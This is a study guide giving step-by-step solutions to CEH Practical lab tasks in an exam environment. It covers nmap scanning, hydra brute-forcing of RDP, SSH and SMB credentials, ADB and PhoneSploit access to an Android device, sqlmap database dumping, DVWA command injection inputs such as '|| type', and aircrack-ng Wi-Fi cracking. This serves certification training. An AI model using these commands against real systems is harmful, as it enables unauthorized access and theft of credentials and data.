CEH Practical Solution Guide

To identify the DNS computer name of the Domain Controller:

Command: nmap -sV -A x.x.x.x/x

You're looking for a machine with:

- Port 88 (Kerberos)
- Port 389 (LDAP)
- Port 445 (SMB)

These are **typical DC ports**.

This will reveal:

- NetBIOS name
- FQDN / DNS computer name
- Domain name
- OS

You're looking for a line like:

DNS_Computer_Name: ServerMain.CEHORG.lan

or

FQDN: ServerMain.CEHORG.lan

To determine the version of a service:

Command: nmap -sV -A x.x.x.x/x

You're looking for a lines like:

80/tcp	open http	Apache httpd 2.4.51 ((Win64) PHP/7.4.26)
143/tcp	open	imap Mercury/32 v3.52
139/tcp	open netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp	open netbios-ssn	Samba smbd 4.13.17-Ubuntu (workgroup: WORKGROUP)
3306/tcp	open mysql	MySQL 5.5.5-10.3.34-MariaDB-0ubuntu0.20.04.1

Identify the service and its version.

To identify a system with RDP enabled, crack the RDP credentials, retrieve the file containing an encrypted image, and calculate the hash of the decrypted image:

Find the RDP enabled system;

Command: nmap -p 3389 --open -sV x.x.x.x/x

Crack the RDP credentials;

Command: hydra -t 4 -V -f -L (username) -P /home/attacker/Desktop/password.txt rdp://10.10.55.X

Log in via RDP;

Command: xfreerdp /u:<username> /p:<password> /v:<x.x.x.x>

Find the file

Open the CryptoForge Decrypter application from Windows Search.

Drag and drop the .cfe file (e.g., abc.cfe) onto the Decrypter window.

The application will prompt you to enter the password/passphrase that was used to encrypt the file.

Used the cracked RDP password.

Once the correct password is entered, the file will be decrypted back to its original format.

Open cyberchef (https://gchq.github.io/CyberChef/) on Chrome, select the file as input and SHA-1 in recipe.

Provide the answer.

To access the android device, recover the concealed data from the image file and extract the hidden code:

Identify mobile device;

Command: nmap -p 5555 x.x.x.x/x

Connect via ADB;

Command: adb connect x.x.x.x

Use PhoneSploit to identify the file and its path;

Commands:

- cd PhoneSploit
- python3 phonesploit.py
- Use the option to access device shell
- pwd
- ls

- cd sdcard
- cd Download
- ls

Identify the file

Now use ADB to pull the file;

Command: adb pull /sdcard/Download/abcd.xyz

Now the file downloaded on the Parrot OS machine

Transfer the File to Windows

Do this by setting up a simple HTTP server on Parrot using:

- cd /Downloads # or wherever the file is (for eg. cd /home/attacker)
- python3 -m http.server 8000

Then, on the Windows browser open chrome and type;

- http://<parrot_IP>:8000/

Click on the file and download it

Launch OpenStego, go to the “Extract Data” tab, selected the file, chose an output folder, and run the extraction.

Look for the content in the decrypted file, copy and paste it to hashes.com to decrypt the hash and get the code.

Submit the answer.

To perform a vulnerability scan for the host and CVE number of the vulnerability:

To run OpenVAS;

Command: docker run -d -p 443:443 –-name openvas mikesplain/openvas

After the tool initializes, click Firefox icon from the top-section of the Desktop.

The Firefox browser appears, go to https://127.0.0.1/. OpenVAS login page appears, log in with admin/admin.

Navigate to **Scans --> Tasks** from the **Menu** bar.

Hover over wand icon and click the **Task Wizard** option.

The **Task Wizard** window appears; enter the target IP address and click the **Start Scan** button.

The task appears under the **Tasks** section; OpenVAS starts scanning the target IP address.

Wait for the **Status** to change from **Requested** to **Done**. Once it is completed, click the **Done** button under the **Status** column to view the vulnerabilities found in the target system.

Click the lowest-severity vulnerability.

In the vulnerability details, look for the **CVE reference(s)** or search the vulnerability on the internet to find the CVE Number.

To perform a vulnerability scan on a host, and determine the port on which the XYZ service is running:

Run an Nmap Service Scan

Command: nmap -sV -p- x.x.x.x

You're looking for a lines like:

80/tcp	open http	Apache httpd 2.4.51 ((Win64) PHP/7.4.26)
143/tcp	open	imap Mercury/32 v3.52
139/tcp	open netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp	open netbios-ssn	Samba smbd 4.13.17-Ubuntu (workgroup: WORKGROUP)
3306/tcp	open mysql	MySQL 5.5.5-10.3.34-MariaDB-0ubuntu0.20.04.1

Simply look for the service and its port.

To perform a remote login and command-line execution application on a Linux target and access a file, and retrieve the contents:

Command: nmap -sV x.x.x.x/x

Identify the Linux machine/s

Perform a brute-force attack to obtain the credentials;

Command: hydra -t 4 -V -f -L /home/attacker/Desktop/username.txt -P /home/attacker/Desktop/password.txt ssh://x.x.x.x

Once credentials are found:

Command: ssh user@x.x.x.x (enter the password)

Using the shell, find the file

Once found, display its content;

Command: cat abcd.xyz

Submit the answer.

To access the .txt file, located in the Downloads folder of the Parrot OS, and extracting data from the file:

Go to chrome and download SNOW using;

http://www.darkside.com.au/snow

Download sndos32.zip

Extract using winrar

Copy the .txt file into the extracted folder i.e. “snwdos32”

Open CMD and go to location of the file;

Command: cd Downloads\snwdos32

Execute the decryption command;

Command: snow -C -p "password" abcd.txt

Copy the output and paste it to hashes.com to decrypt the hash and get the code.

Submit the answer.

To find credentials for the SMB service on a machine and gain access to a file, located in the SMB root directory and extract the contents of the file:

To find the relevant IP;

Command: nmap -p 445 --open -sV x.x.x.x/x

Crack the SMB credentials;

Command: hydra -t 4 -V -f -L /home/attacker/Desktop/username.txt -P /home/attacker/Desktop/password.txt smb://x.x.x.x

Once username and password is extracted, enter command to see a list of available shares;

Command: smbclient -L //192.168.0.222 -U Administrator

You'll see output like:

Sharename Type Comment

Admin$	Disk	Remote Admin
C$	Disk	Default share
SharedDocs	Disk	
IPC$	IPC	Remote IPC

Look for a share that might be root-level or contain the file

Now select share name and then connect and find the file;

Command: smbclient //<target-ip>/<share> -U <username>

Inside the SMB shell locate the file and download it;

Command: get abcd.txt

Now you have the file locally

Exit the shell

View and Extract the Secret Code

Command: cat QuantumCoder.txt

To perform a static malware analysis on the malicious executable file and identify the Image Version number of the executable:

On windows search, search for PE Explorer (if it is not available, then install it from E: drive, CEH-Tools, Mod 7, Malware Analysis Tools, Static Malware Analysis, PE Extraction Tools, and PE Explorer)

Open PE Explorer and upload the file.

Once the analysis is completed, go through the tabs/columns to find the Image Version.

To access to the target machine with Remote Access Tool (RAT) installed, identify the number of files contained within a folder and provide the total count of files:

Common RATs or remote admin services use ports such as:

- **3389/tcp** → RDP
- **5985/tcp** → WinRM (remote PowerShell)
- **1337/4444/5555/etc.** → custom RAT ports

Use Nmap to scan for open ports:

Command: nmap -p- x.x.x.x/x

Identify the system with a RAT or remote management service exposed.

If it's **RDP**:

- Command: rdesktop <target_IP>

or connect via **mstsc** on Windows.

If it's **WinRM / Evil-WinRM**:

- Command: evil-winrm -i <target_IP> -u <username> -p <password>

If it's a **custom RAT**, use its client interface

Authenticate using **weak or known credentials** if required.

Once connected remotely, access the directory where Martin concealed files. On Windows:

Command: cd C:\Users\<username>\Documents\Honeywell (or wherever the folder resides)

Use PowerShell or CMD to get the total count:

PowerShell:

(Get-ChildItem -File | Measure-Object).Count

CMD:

dir /a-d | find /c /v ""

This outputs the **total number of files** in the folder.

To identify the entry point (address) of the malware executable:

On windows search, search for PE Explorer (if it is not available, then install it from E: drive, CEH-Tools, Mod 7, Malware Analysis Tools, Static Malware Analysis, PE Extraction Tools, and PE Explorer)

Open PE Explorer and upload the file.

Once the analysis is completed, go through the tabs/columns to find the Entry Point.

To determine the last four characters of the SHA224 hash generated for the ELF64 malware executable:

Access **DIE** - **Detect it Easy** it from E: drive, CEH-Tools, Mod 7, Malware Analysis Tools, Static Malware Analysis, Packaging and Obfuscation Tools, DIE

Open **DIE** and upload the file

Click on **Advanced**

Click on **Hash** tab, and change the method to **SHA224**

Submit the last four characters of the hash

To investigate a DDoS attack by analyzing the network traffic to identify the IP address of the attacker machine:

Open Wireshark in Windows

Open the .pcap file

Analyze the packets

You will find one IP repeating multiple times (Black/Red Color) [TCP retransmissions/UDP flood/SYN flood]

To extract the password of a user, from a web application, vulnerable to an SQL injection attack, having credentials of another user:

Navigate to the website, a Login page loads; enter the Username and Password that are provided.

Once you are logged into the website, click the View Profile tab on the menu bar and, when the page has loaded, make a note of the URL in the address bar of the browser.

Right-click anywhere on the webpage and click Inspect (Q) from the context menu.

The Developer Tools frame appears in the lower section of the browser window. Click the Console tab, type **document.cookie** in the lower-left corner of the browser, and press Enter.

Select the cookie value, then right-click and copy it, as shown in the screenshot. Minimize the web browser. Note down the URL of the web page.

Open the terminal and type the below commands to get the password of the other user.

Command: sqlmap -u "url" --cookie="cookie" --dbs

Command: sqlmap -u "url" --cookie="cookie" -D <database name> --tables

Command: sqlmap -u "url" --cookie="cookie" -D <database name> -T <table name> --dump

You will get all the Username and Passwords of the website.

To find the flag's value on the page of a web application with a page_id:

On web browser run the URL with page ID;

http://www.abcdefg.com/?page_id=123

The flag is plainly shown on that page, copy it and submit

To conduct vulnerability assessment and exploit a web application and identify a file to obtain file content:

Open web browser and enter the given URL following the file name with a /

i.e. https://abcd.efg.com/xyz.txt

You will find the answer.

To exploit a vulnerable web application vulnerable to SQL injection attack and find the value in a column from one of the database tables:

1. Start with an OWASP ZAP Automated Scan on the given website and let the scan complete fully.

2. Once the scan is done, go to the "Alerts" section in ZAP. You will find the vulnerable URL listed there.

3. Copy that vulnerable URL and run sqlmap on it.

> You don't need to include the --cookie parameter this time.

4. Use the following commands to enumerate the databases:

Command: sqlmap -u "URL" --dbs

5. Dump the tables:

Command: sqlmap -u "URL" -D <database_name> --tables

6. Dump the columns:

Command: sqlmap -u "URL" -D <database_name> -T <table_name> --columns

7. Dump the data:

Command: sqlmap -u "URL" -D <database_name> -T <table_name> -C <column_name> --dump

To access files that were uploaded through DVWA at the given URL, locate files stored in the directory, decode base64 ciphers, find the original message and provide the decrypted message:

1. Open the URL

2. Log in with the credentials

3. Once logged in, navigate to the DVWA Security settings and set the security level to "Low".

4. On the left-hand sidebar, go to "Command Injection" under the "Vulnerabilities" section.

5. In the command injection input box, use the following command to list the contents of the target directory:

|| dir C:\wamp64\www\DVWA\SecureWeb\prod\

> If this doesn't work, try adding double quotes around the path:

|| dir "C:\wamp64\www\DVWA\SecureWeb\prod\"

6. Scroll down to view the output. You should see a list of files in that directory, including:

cipher1.txt
cipher2.txt
cipher3.txt

7. To view the contents of each file, use the following command:

|| type C:\wamp64\www\DVWA\SecureWeb\prod\cipher1.txt

Or with quotes if needed:

|| type "C:\wamp64\www\DVWA\SecureWeb\prod\cipher1.txt"

> Repeat this for cipher2.txt and cipher3.txt.

8. Copy the hash values from each file and use hashes.com to decrypt them.

To analyze the traffic capture from an IoT network, and identify the packet with IoT Publish Message:

Open wireshark, and open the .pcap file

Apply filter **mqtt** and search

All packets with IoT Publish Message will be listed

Identify the message with help of answer format

To decrypt the password hash, access the VeraCrypt volume, and find the secret code:

1. On Parrot OS, get the password hash:

Command: cat /<location>/<filename.txt>

2. Copy the hash value use hashes.com to decrypt it.

3. On Windows machine click Search icon on the Desktop, search for VeraCrypt and launch it.

4. The VeraCrypt main window appears; select a drive and click Select File then click Mount.

5. Enter the password that you had decrypted.

6. After the password is verified, VeraCrypt will mount the volume in the drive.

7. Open File Explorer and go to This PC, the mounted drive will appear.

8. Open the drive and access the file to find the answer.

To analyze the .pcap file, cracking the Wi-Fi password, and identifying the last four characters of the password:

Open terminal and use aircrack-ng to crack the password

Command: aircrack-ng /<location>/<filename.cap> -w /home/attacker/Desktop/username.txt

You will see;

KEY FOUND! [yourpasswordhere]

Submit the last four characters